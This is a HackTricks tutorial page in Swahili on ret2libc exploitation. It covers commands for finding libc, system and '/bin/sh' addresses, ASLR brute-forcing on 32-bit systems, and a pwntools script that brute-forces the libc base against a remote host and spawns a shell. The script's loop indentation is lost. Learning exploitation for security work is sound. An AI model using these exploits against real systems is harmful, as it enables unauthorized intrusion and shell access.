Ret2lib

Support HackTricks

Maelezo Msingi

Kiini cha Ret2Libc ni kurekebisha mtiririko wa utekelezaji wa programu yenye kasoro kwa kazi ndani ya maktaba iliyoshirikiwa (k.m., system, execve, strcpy) badala ya kutekeleza shellcode iliyotolewa na muhusika kwenye stakabadilishi. Muhusika hupanga mzigo wa data ambao unabadilisha anwani ya kurudi kwenye stakabadilishi ili ielekeze kwenye kazi ya maktaba inayotakiwa, huku pia akifanya mipango kwa ajili ya hoja zozote muhimu kuwekwa sawa kulingana na mkataba wa wito.

Hatua za Mfano (zilizorahisishwa)

  • Pata anwani ya kazi ya kuita (k.m., system) na amri ya kuita (k.m., /bin/sh)

  • Unda mnyororo wa ROP ili kupitisha hoja ya kwanza ikielekeza kwenye mnyororo wa amri na mtiririko wa utekelezaji kwa kazi

Kutafuta anwani

  • Kudhani kwamba libc iliyotumiwa ni ile kutoka kwenye mashine ya sasa unaweza kupata mahali itakapopakiwa kumbukani na:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Ikiwa unataka kujua ikiwa ASLR inabadilisha anwani ya libc unaweza kufanya hivi:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kujua libc iliyotumiwa pia inawezekana kupata kisawe cha kazi ya system kwa:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kujua libc iliyotumiwa pia inawezekana kupata mbali hadi kwa kazi ya string /bin/sh na:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Kutumia gdb-peda / GEF

Kwa kujua libc iliyotumika, Pia ni rahisi kutumia Peda au GEF kupata anwani ya kazi ya system, ya kazi ya exit na ya string /bin/sh:

p system
p exit
find "/bin/sh"

Kutumia /proc/<PID>/maps

Ikiwa mchakato unazalisha watoto kila wakati unapozungumza naye (mtandao wa seva) jaribu kusoma faili hiyo (labda utahitaji kuwa na ruhusa ya mizizi).

Hapa unaweza kupata mahali hasa ambapo libc imepakia ndani ya mchakato na mahali ambapo itapakia kwa kila mtoto wa mchakato.

Katika kesi hii imepakia katika 0xb75dc000 (Hii itakuwa anwani ya msingi ya libc)

Libc isiyojulikana

Inaweza kuwa inawezekana kwamba hujui libc ambayo binary inapakia (kwa sababu inaweza kuwa mahali ambapo huna ufikiaji wowote). Katika kesi hiyo unaweza kutumia udhaifu wa kuvuja anwani na kupata ni libc ipi inayotumiwa:

Leaking libc address with ROP

Na unaweza kupata kiolezo cha pwntools kwa hili katika:

Leaking libc - template

Jua libc na 2 offsets

Angalia ukurasa https://libc.blukat.me/ na tumia anwani kadhaa za kazi ndani ya libc kugundua toleo lililotumiwa.

Kupitisha ASLR katika biti 32

Mashambulizi haya ya kufanya nguvu ni yenye manufaa kwa mifumo ya biti 32 tu.

  • Ikiwa shambulio ni la ndani, unaweza kujaribu kufanya nguvu ya anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Kama unashambulia seva ya mbali, unaweza kujaribu kubaini kwa nguvu anwani ya kazi ya libc ya usleep, ukipeleka kama hoja 10 (kwa mfano). Ikiwa kwa wakati fulani seva inachukua sekunde 10 zaidi kujibu, umepata anwani ya kazi hii.

Gadget Moja

Tekeleza kabati kwa kuruka kwa anwani moja maalum katika libc:

One Gadget

Mfano wa Msimbo wa x86 Ret2lib

Katika mfano huu, ASLR ya kubaini kwa nguvu imejumuishwa katika msimbo na faili ya binary inayoweza kudhurika iko kwenye seva ya mbali:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Mfano wa Msimbo wa x64 Ret2lib

Angalia mfano kutoka:

ROP - Return Oriented Programing

Mfano wa ARM64 Ret2lib

Katika kesi ya ARM64, maagizo ya ret yanaruka mahali ambapo usajili wa x30 unalinganisha na sio mahali ambapo usajili wa steki unalinganisha. Kwa hivyo ni kidogo ngumu zaidi.

Pia katika ARM64 maagizo hufanya kile ambacho maagizo yanafanya (siwezi kuruka katikati ya maagizo na kuyageuza kuwa mengine).

Angalia mfano kutoka:

Ret2lib + Printf leak - arm64

Ret-into-printf (au puts)

Hii inaruhusu kuvuja kwa habari kutoka kwa mchakato kwa kuita printf/puts na baadhi ya data maalum iliyowekwa kama hoja. Kwa mfano kuweka anwani ya puts katika GOT katika utekelezaji wa puts kutavuja anwani ya puts kwenye kumbukumbu.

Ret2printf

Hii kimsingi inamaanisha kutumia Ret2lib kuiweka katika udhaifu wa herufi za muundo wa printf kwa kutumia ret2lib kuita printf na thamani za kutumia (inaonekana haina maana lakini inawezekana):

Format Strings

Mifano Mingine & Marejeo

Last updated